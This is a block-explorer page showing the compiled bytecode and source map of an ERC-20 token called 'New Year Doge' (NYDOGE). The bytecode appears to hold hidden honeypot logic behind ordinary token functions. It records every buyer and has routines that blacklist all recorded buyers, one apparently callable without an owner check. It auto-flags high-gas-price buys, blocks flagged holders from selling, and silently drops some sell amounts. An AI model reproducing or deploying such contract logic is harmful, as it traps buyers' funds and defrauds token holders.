0x6080604052600436106101bb5760003560e01c80636c0a24eb116100ec5780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb14610526578063ad63043e14610546578063dd62ed3e1461057f578063ea2f0b37146105c557600080fd5b80638da5cb5b146104b957806395d89b41146104d7578063a457c2d71461050657600080fd5b8063715018a6116100c6578063715018a61461045957806375f0a8741461046e5780637d1db4a51461048e5780638768b9e8146104a457600080fd5b80636c0a24eb146103ed5780636fcba3771461040357806370a082311461042357600080fd5b8063313ce56711610159578063437823ec11610133578063437823ec14610359578063470624021461037957806349bd5a5e146103945780635342acb4146103b457600080fd5b8063313ce567146102fd5780633950935114610319578063418c3f5a1461033957600080fd5b806318160ddd1161019557806318160ddd1461027757806319d40b081461029657806323b872dd146102ad5780632b14ca56146102cd57600080fd5b806306fdde03146101c7578063095ea7b31461020f5780631694505e1461023f57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600d81526c4e6577205965617220446f676560981b60208201525b60405161020691906110af565b60405180910390f35b34801561021b57600080fd5b5061022f61022a366004611119565b6105e5565b6040519015158152602001610206565b34801561024b57600080fd5b5060015461025f906001600160a01b031681565b6040516001600160a01b039091168152602001610206565b34801561028357600080fd5b506008545b604051908152602001610206565b3480156102a257600080fd5b506102ab6105fc565b005b3480156102b957600080fd5b5061022f6102c8366004611143565b61066b565b3480156102d957600080fd5b50600f546010546102e8919082565b60408051928352602083019190915201610206565b34801561030957600080fd5b5060405160098152602001610206565b34801561032557600080fd5b5061022f610334366004611119565b6106bd565b34801561034557600080fd5b506102ab61035436600461117f565b6106f4565b34801561036557600080fd5b506102ab610374366004611198565b61073b565b34801561038557600080fd5b50600d54600e546102e8919082565b3480156103a057600080fd5b5060025461025f906001600160a01b031681565b3480156103c057600080fd5b5061022f6103cf366004611198565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f957600080fd5b50610288600a5481565b34801561040f57600080fd5b506102ab61041e3660046111b3565b610789565b34801561042f57600080fd5b5061028861043e366004611198565b6001600160a01b031660009081526003602052604090205490565b34801561046557600080fd5b506102ab61087e565b34801561047a57600080fd5b50600b5461025f906001600160a01b031681565b34801561049a57600080fd5b5061028860095481565b3480156104b057600080fd5b506102ab6108f2565b3480156104c557600080fd5b506000546001600160a01b031661025f565b3480156104e357600080fd5b506040805180820190915260068152654e59444f474560d01b60208201526101f9565b34801561051257600080fd5b5061022f610521366004611119565b610988565b34801561053257600080fd5b5061022f610541366004611119565b6109bf565b34801561055257600080fd5b5061022f610561366004611198565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561058b57600080fd5b5061028861059a3660046111e5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d157600080fd5b506102ab6105e0366004611198565b6109cc565b60006105f2338484610a17565b5060015b92915050565b60005b600754811015610668576001600660006007848154811061062257610622611218565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061066081611244565b9150506105ff565b50565b6000610678848484610b3b565b6001600160a01b0384166000908152600460209081526040808320338085529252909120546106b39186916106ae90869061125d565b610a17565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f29185906106ae908690611270565b6000546001600160a01b031633146107275760405162461bcd60e51b815260040161071e90611283565b60405180910390fd5b61073581633b9aca006112b8565b600c5550565b6000546001600160a01b031633146107655760405162461bcd60e51b815260040161071e90611283565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107b35760405162461bcd60e51b815260040161071e90611283565b60086107bf8585610f3b565b111561080d5760405162461bcd60e51b815260206004820152601e60248201527f427579206665652063616e277420676f20686967686572207468616e20380000604482015260640161071e565b600d849055600e83905560086108238383610f3b565b11156108715760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652063616e277420676f20686967686572207468616e203800604482015260640161071e565b600f919091556010555050565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161071e90611283565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461091c5760405162461bcd60e51b815260040161071e90611283565b60005b600754811015610668576001600660006007848154811061094257610942611218565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061098081611244565b91505061091f565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f29185906106ae90869061125d565b60006105f2338484610b3b565b6000546001600160a01b031633146109f65760405162461bcd60e51b815260040161071e90611283565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6001600160a01b038316610a795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071e565b6001600160a01b038216610ada5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071e565b60008111610c015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071e565b6001600160a01b038216610c635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071e565b6001600160a01b03831660009081526003602052604081208054839290610c8b90849061125d565b90915550506001600160a01b038316600090815260056020526040902054819060ff16158015610cd457506001600160a01b03831660009081526005602052604090205460ff16155b15610eb957600c543a118015610cf757506002546001600160a01b038581169116145b15610d20576001600160a01b0383166000908152600660205260409020805460ff191660011790555b6002546001600160a01b03848116911614610e3f57600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b038516179055600954821115610da25760405162461bcd60e51b815260040161071e906112cf565b600a5482610dc5856001600160a01b031660009081526003602052604090205490565b610dcf9190611270565b1115610e325760405162461bcd60e51b815260206004820152602c60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526b30b63632ba20b6b7bab73a1760a11b606482015260840161071e565b610e3c8285610fa1565b90505b6002546001600160a01b03858116911614610eb957600954821115610e765760405162461bcd60e51b815260040161071e906112cf565b6001600160a01b03841660009081526006602052604090205460ff1615610e9c57600080fd5b600c543a1115610eac5750505050565b610eb68285611078565b90505b6001600160a01b03831660009081526003602052604081208054839290610ee1908490611270565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f2d91815260200190565b60405180910390a350505050565b600080610f488385611270565b905083811015610f9a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161071e565b9392505050565b6000806064600d6000015485610fb791906112b8565b610fc19190611316565b905060006064600d6001015486610fd891906112b8565b610fe29190611316565b9050610fee8183611270565b306000908152600360205260408120805490919061100d908490611270565b909155503090506001600160a01b0385167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110498585611270565b60405190815260200160405180910390a380611065838761125d565b61106f919061125d565b95945050505050565b6000806064600f600001548561108e91906112b8565b6110989190611316565b905060006064600f6001015486610fd891906112b8565b600060208083528351808285015260005b818110156110dc578581018301518582016040015282016110c0565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461111457600080fd5b919050565b6000806040838503121561112c57600080fd5b611135836110fd565b946020939093013593505050565b60008060006060848603121561115857600080fd5b611161846110fd565b925061116f602085016110fd565b9150604084013590509250925092565b60006020828403121561119157600080fd5b5035919050565b6000602082840312156111aa57600080fd5b610f9a826110fd565b600080600080608085870312156111c957600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156111f857600080fd5b611201836110fd565b915061120f602084016110fd565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016112565761125661122e565b5060010190565b818103818111156105f6576105f661122e565b808201808211156105f6576105f661122e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820281158282048414176105f6576105f661122e565b60208082526027908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152661e105b5bdd5b9d60ca1b606082015260800190565b60008261133357634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212207b5f4c895da317a7134ea48f26ede550cd78a0fb8b81472c5c496c350d078fc764736f6c63430008110033
Deployed Bytecode Sourcemap
11174:8081:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12966:83;;;;;;;;;;-1:-1:-1;13036:5:0;;;;;;;;;;;;-1:-1:-1;;;13036:5:0;;;;12966:83;;;;;;;:::i;:::-;;;;;;;;14322:161;;;;;;;;;;-1:-1:-1;14322:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;14322:161:0;1004:187:1;11265:41:0;;;;;;;;;;-1:-1:-1;11265:41:0;;;;-1:-1:-1;;;;;11265:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;11265:41:0;1196:229:1;13243:100:0;;;;;;;;;;-1:-1:-1;13323:12:0;;13243:100;;;1576:25:1;;;1564:2;1549:18;13243:100:0;1430:177:1;14136:178:0;;;;;;;;;;;;;:::i;:::-;;14491:266;;;;;;;;;;-1:-1:-1;14491:266:0;;;;;:::i;:::-;;:::i;12223:23::-;;;;;;;;;;-1:-1:-1;12223:23:0;;;;;;;;;;;;;2119:25:1;;;2175:2;2160:18;;2153:34;;;;2092:18;12223:23:0;1945:248:1;13152:83:0;;;;;;;;;;-1:-1:-1;13152:83:0;;11779:1;2340:36:1;;2328:2;2313:18;13152:83:0;2198:184:1;14765:215:0;;;;;;;;;;-1:-1:-1;14765:215:0;;;;;:::i;:::-;;:::i;17464:98::-;;;;;;;;;;-1:-1:-1;17464:98:0;;;;;:::i;:::-;;:::i;15225:111::-;;;;;;;;;;-1:-1:-1;15225:111:0;;;;;:::i;:::-;;:::i;12113:21::-;;;;;;;;;;-1:-1:-1;12113:21:0;;;;;;;;;11313:28;;;;;;;;;;-1:-1:-1;11313:28:0;;;;-1:-1:-1;;;;;11313:28:0;;;15507:123;;;;;;;;;;-1:-1:-1;15507:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;15595:27:0;15571:4;15595:27;;;:18;:27;;;;;;;;;15507:123;11902:46;;;;;;;;;;;;;;;;16899:557;;;;;;;;;;-1:-1:-1;16899:557:0;;;;;:::i;:::-;;:::i;13351:118::-;;;;;;;;;;-1:-1:-1;13351:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;13444:17:0;13417:7;13444:17;;;:8;:17;;;;;;;13351:118;11019:148;;;;;;;;;;;;;:::i;11957:30::-;;;;;;;;;;-1:-1:-1;11957:30:0;;;;-1:-1:-1;;;;;11957:30:0;;;11853:42;;;;;;;;;;;;;;;;15769:185;;;;;;;;;;;;;:::i;10805:79::-;;;;;;;;;;-1:-1:-1;10843:7:0;10870:6;-1:-1:-1;;;;;10870:6:0;10805:79;;13057:87;;;;;;;;;;-1:-1:-1;13129:7:0;;;;;;;;;;;;-1:-1:-1;;;13129:7:0;;;;13057:87;;14988:225;;;;;;;;;;-1:-1:-1;14988:225:0;;;;;:::i;:::-;;:::i;13477:167::-;;;;;;;;;;-1:-1:-1;13477:167:0;;;;;:::i;:::-;;:::i;15638:123::-;;;;;;;;;;-1:-1:-1;15638:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;15726:27:0;15702:4;15726:27;;;:18;:27;;;;;;;;;15638:123;13985:143;;;;;;;;;;-1:-1:-1;13985:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14093:18:0;;;14066:7;14093:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13985:143;15348:110;;;;;;;;;;-1:-1:-1;15348:110:0;;;;;:::i;:::-;;:::i;14322:161::-;14397:4;14414:39;242:10;14437:7;14446:6;14414:8;:39::i;:::-;-1:-1:-1;14471:4:0;14322:161;;;;;:::o;14136:178::-;14188:9;14183:124;14207:14;:21;14203:25;;14183:124;;;14290:4;14250:18;:37;14269:14;14284:1;14269:17;;;;;;;;:::i;:::-;;;;;;;;;;;;;;-1:-1:-1;;;;;14269:17:0;14250:37;;;;;;;;;;;;:44;;-1:-1:-1;;14250:44:0;;;;;;;;;;14230:3;;;;:::i;:::-;;;;14183:124;;;;14136:178::o;14491:266::-;14589:4;14606:36;14616:6;14624:9;14635:6;14606:9;:36::i;:::-;-1:-1:-1;;;;;14684:19:0;;;;;;:11;:19;;;;;;;;242:10;14684:33;;;;;;;;;14653:74;;14662:6;;14684:42;;14720:6;;14684:42;:::i;:::-;14653:8;:74::i;:::-;-1:-1:-1;14745:4:0;14491:266;;;;;:::o;14765:215::-;242:10;14853:4;14902:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14902:34:0;;;;;;;;;;14853:4;;14870:80;;14893:7;;14902:47;;14939:10;;14902:47;:::i;17464:98::-;10932:6;;-1:-1:-1;;;;;10932:6:0;242:10;10932:22;10924:67;;;;-1:-1:-1;;;10924:67:0;;;;;;;:::i;:::-;;;;;;;;;17535:19:::1;:10:::0;17548:6:::1;17535:19;:::i;:::-;17525:7;:29:::0;-1:-1:-1;17464:98:0:o;15225:111::-;10932:6;;-1:-1:-1;;;;;10932:6:0;242:10;10932:22;10924:67;;;;-1:-1:-1;;;10924:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15294:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;15294:34:0::1;15324:4;15294:34;::::0;;15225:111::o;16899:557::-;10932:6;;-1:-1:-1;;;;;10932:6:0;242:10;10932:22;10924:67;;;;-1:-1:-1;;;10924:67:0;;;;;;;:::i;:::-;17112:1:::1;17066:42;:18:::0;17089;17066:22:::1;:42::i;:::-;:47;;17058:90;;;::::0;-1:-1:-1;;;17058:90:0;;5029:2:1;17058:90:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:32;5087:18;;;5080:60;5157:18;;17058:90:0::1;4827:354:1::0;17058:90:0::1;17159:6;:37:::0;;;17207:16;:36;;;17312:1:::1;17264:44;:19:::0;17288;17264:23:::1;:44::i;:::-;:49;;17256:93;;;::::0;-1:-1:-1;;;17256:93:0;;5388:2:1;17256:93:0::1;::::0;::::1;5370:21:1::0;5427:2;5407:18;;;5400:30;5466:33;5446:18;;;5439:61;5517:18;;17256:93:0::1;5186:355:1::0;17256:93:0::1;17360:7;:39:::0;;;;17410:17;:38;-1:-1:-1;;16899:557:0:o;11019:148::-;10932:6;;-1:-1:-1;;;;;10932:6:0;242:10;10932:22;10924:67;;;;-1:-1:-1;;;10924:67:0;;;;;;;:::i;:::-;11126:1:::1;11110:6:::0;;11089:40:::1;::::0;-1:-1:-1;;;;;11110:6:0;;::::1;::::0;11089:40:::1;::::0;11126:1;;11089:40:::1;11157:1;11140:19:::0;;-1:-1:-1;;;;;;11140:19:0::1;::::0;;11019:148::o;15769:185::-;10932:6;;-1:-1:-1;;;;;10932:6:0;242:10;10932:22;10924:67;;;;-1:-1:-1;;;10924:67:0;;;;;;;:::i;:::-;15828:9:::1;15823:124;15847:14;:21:::0;15843:25;::::1;15823:124;;;15930:4;15890:18;:37;15909:14;15924:1;15909:17;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;::::0;-1:-1:-1;;;;;15909:17:0::1;15890:37:::0;;;::::1;::::0;;;;;;;;:44;;-1:-1:-1;;15890:44:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15870:3;::::1;::::0;::::1;:::i;:::-;;;;15823:124;;14988:225:::0;242:10;15081:4;15130:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15130:34:0;;;;;;;;;;15081:4;;15098:85;;15121:7;;15130:52;;15167:15;;15130:52;:::i;13477:167::-;13555:4;13572:42;242:10;13596:9;13607:6;13572:9;:42::i;15348:110::-;10932:6;;-1:-1:-1;;;;;10932:6:0;242:10;10932:22;10924:67;;;;-1:-1:-1;;;10924:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15415:27:0::1;15445:5;15415:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;15415:35:0::1;::::0;;15348:110::o;17570:337::-;-1:-1:-1;;;;;17663:19:0;;17655:68;;;;-1:-1:-1;;;17655:68:0;;5748:2:1;17655:68:0;;;5730:21:1;5787:2;5767:18;;;5760:30;5826:34;5806:18;;;5799:62;-1:-1:-1;;;5877:18:1;;;5870:34;5921:19;;17655:68:0;5546:400:1;17655:68:0;-1:-1:-1;;;;;17742:21:0;;17734:68;;;;-1:-1:-1;;;17734:68:0;;6153:2:1;17734:68:0;;;6135:21:1;6192:2;6172:18;;;6165:30;6231:34;6211:18;;;6204:62;-1:-1:-1;;;6282:18:1;;;6275:32;6324:19;;17734:68:0;5951:398:1;17734:68:0;-1:-1:-1;;;;;17815:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17867:32;;1576:25:1;;;17867:32:0;;1549:18:1;17867:32:0;;;;;;;17570:337;;;:::o;17915:1337::-;-1:-1:-1;;;;;18003:18:0;;17995:68;;;;-1:-1:-1;;;17995:68:0;;6556:2:1;17995:68:0;;;6538:21:1;6595:2;6575:18;;;6568:30;6634:34;6614:18;;;6607:62;-1:-1:-1;;;6685:18:1;;;6678:35;6730:19;;17995:68:0;6354:401:1;17995:68:0;18091:1;18082:6;:10;18074:64;;;;-1:-1:-1;;;18074:64:0;;6962:2:1;18074:64:0;;;6944:21:1;7001:2;6981:18;;;6974:30;7040:34;7020:18;;;7013:62;-1:-1:-1;;;7091:18:1;;;7084:39;7140:19;;18074:64:0;6760:405:1;18074:64:0;-1:-1:-1;;;;;18157:16:0;;18149:64;;;;-1:-1:-1;;;18149:64:0;;7372:2:1;18149:64:0;;;7354:21:1;7411:2;7391:18;;;7384:30;7450:34;7430:18;;;7423:62;-1:-1:-1;;;7501:18:1;;;7494:33;7544:19;;18149:64:0;7170:399:1;18149:64:0;-1:-1:-1;;;;;18226:14:0;;;;;;:8;:14;;;;;:24;;18244:6;;18226:14;:24;;18244:6;;18226:24;:::i;:::-;;;;-1:-1:-1;;;;;;;18310:24:0;;18261:22;18310:24;;;:18;:24;;;;;;18286:6;;18310:24;;18309:25;:52;;;;-1:-1:-1;;;;;;18339:22:0;;;;;;:18;:22;;;;;;;;18338:23;18309:52;18305:839;;;18396:7;;18382:11;:21;:46;;;;-1:-1:-1;18415:13:0;;-1:-1:-1;;;;;18407:21:0;;;18415:13;;18407:21;18382:46;18378:116;;;-1:-1:-1;;;;;18449:22:0;;;;;;:18;:22;;;;;:29;;-1:-1:-1;;18449:29:0;18474:4;18449:29;;;18378:116;18520:13;;-1:-1:-1;;;;;18514:19:0;;;18520:13;;18514:19;18510:338;;18537:14;:23;;;;;;;-1:-1:-1;18537:23:0;;;;;;;;-1:-1:-1;;;;;;18537:23:0;-1:-1:-1;;;;;18537:23:0;;;;;18597:12;;18587:22;;;18579:74;;;;-1:-1:-1;;;18579:74:0;;;;;;;:::i;:::-;18706:16;;18696:6;18680:13;18690:2;-1:-1:-1;;;;;13444:17:0;13417:7;13444:17;;;:8;:17;;;;;;;13351:118;18680:13;:22;;;;:::i;:::-;:42;;18672:99;;;;-1:-1:-1;;;18672:99:0;;8184:2:1;18672:99:0;;;8166:21:1;8223:2;8203:18;;;8196:30;8262:34;8242:18;;;8235:62;-1:-1:-1;;;8313:18:1;;;8306:42;8365:19;;18672:99:0;7982:408:1;18672:99:0;18807:25;18819:6;18827:4;18807:11;:25::i;:::-;18790:42;;18510:338;18876:13;;-1:-1:-1;;;;;18868:21:0;;;18876:13;;18868:21;18864:269;;18928:12;;18918:6;:22;;18910:74;;;;-1:-1:-1;;;18910:74:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18995:24:0;;;;;;:18;:24;;;;;;;;18994:25;18986:34;;;;;;19040:7;;19026:11;:21;19022:34;;;19049:7;17915:1337;;;:::o;19022:34::-;19091:26;19104:6;19112:4;19091:12;:26::i;:::-;19074:43;;18864:269;-1:-1:-1;;;;;19164:12:0;;;;;;:8;:12;;;;;:30;;19180:14;;19164:12;:30;;19180:14;;19164:30;:::i;:::-;;;;;;;;19225:2;-1:-1:-1;;;;;19210:34:0;19219:4;-1:-1:-1;;;;;19210:34:0;;19229:14;19210:34;;;;1576:25:1;;1564:2;1549:18;;1430:177;19210:34:0;;;;;;;;17984:1268;17915:1337;;;:::o;414:179::-;472:7;;504:5;508:1;504;:5;:::i;:::-;492:17;;533:1;528;:6;;520:46;;;;-1:-1:-1;;;520:46:0;;8597:2:1;520:46:0;;;8579:21:1;8636:2;8616:18;;;8609:30;8675:29;8655:18;;;8648:57;8722:18;;520:46:0;8395:351:1;520:46:0;584:1;414:179;-1:-1:-1;;;414:179:0:o;15966:457::-;16034:7;16054:25;16110:3;16091:6;:16;;;16082:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;16054:59;;16125:26;16182:3;16163:6;:16;;;16154:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;16125:60;-1:-1:-1;16224:38:0;16125:60;16224:17;:38;:::i;:::-;16214:4;16197:23;;;;:8;:23;;;;;:65;;:23;;;:65;;;;;:::i;:::-;;;;-1:-1:-1;16304:4:0;;-1:-1:-1;;;;;;16280:70:0;;;16311:38;16332:17;16311:18;:38;:::i;:::-;16280:70;;1576:25:1;;;1564:2;1549:18;16280:70:0;;;;;;;16396:18;16369:25;16377:17;16369:6;:25;:::i;:::-;:45;;;;:::i;:::-;16361:54;15966:457;-1:-1:-1;;;;;15966:457:0:o;16431:460::-;16500:7;16520:25;16577:3;16557:7;:17;;;16548:6;:26;;;;:::i;:::-;:32;;;;:::i;:::-;16520:60;;16592:26;16650:3;16630:7;:17;;;16621:6;:26;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2387:180::-;2446:6;2499:2;2487:9;2478:7;2474:23;2470:32;2467:52;;;2515:1;2512;2505:12;2467:52;-1:-1:-1;2538:23:1;;2387:180;-1:-1:-1;2387:180:1:o;2572:186::-;2631:6;2684:2;2672:9;2663:7;2659:23;2655:32;2652:52;;;2700:1;2697;2690:12;2652:52;2723:29;2742:9;2723:29;:::i;2971:385::-;3057:6;3065;3073;3081;3134:3;3122:9;3113:7;3109:23;3105:33;3102:53;;;3151:1;3148;3141:12;3102:53;-1:-1:-1;;3174:23:1;;;3244:2;3229:18;;3216:32;;-1:-1:-1;3295:2:1;3280:18;;3267:32;;3346:2;3331:18;3318:32;;-1:-1:-1;2971:385:1;-1:-1:-1;2971:385:1:o;3361:260::-;3429:6;3437;3490:2;3478:9;3469:7;3465:23;3461:32;3458:52;;;3506:1;3503;3496:12;3458:52;3529:29;3548:9;3529:29;:::i;:::-;3519:39;;3577:38;3611:2;3600:9;3596:18;3577:38;:::i;:::-;3567:48;;3361:260;;;;;:::o;3626:127::-;3687:10;3682:3;3678:20;3675:1;3668:31;3718:4;3715:1;3708:15;3742:4;3739:1;3732:15;3758:127;3819:10;3814:3;3810:20;3807:1;3800:31;3850:4;3847:1;3840:15;3874:4;3871:1;3864:15;3890:135;3929:3;3950:17;;;3947:43;;3970:18;;:::i;:::-;-1:-1:-1;4017:1:1;4006:13;;3890:135::o;4030:128::-;4097:9;;;4118:11;;;4115:37;;;4132:18;;:::i;4163:125::-;4228:9;;;4249:10;;;4246:36;;;4262:18;;:::i;4293:356::-;4495:2;4477:21;;;4514:18;;;4507:30;4573:34;4568:2;4553:18;;4546:62;4640:2;4625:18;;4293:356::o;4654:168::-;4727:9;;;4758;;4775:15;;;4769:22;;4755:37;4745:71;;4796:18;;:::i;7574:403::-;7776:2;7758:21;;;7815:2;7795:18;;;7788:30;7854:34;7849:2;7834:18;;7827:62;-1:-1:-1;;;7920:2:1;7905:18;;7898:37;7967:3;7952:19;;7574:403::o;8751:217::-;8791:1;8817;8807:132;;8861:10;8856:3;8852:20;8849:1;8842:31;8896:4;8893:1;8886:15;8924:4;8921:1;8914:15;8807:132;-1:-1:-1;8953:9:1;;8751:217::o
Swarm Source
ipfs://7b5f4c895da317a7134ea48f26ede550cd78a0fb8b81472c5c496c350d078fc7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.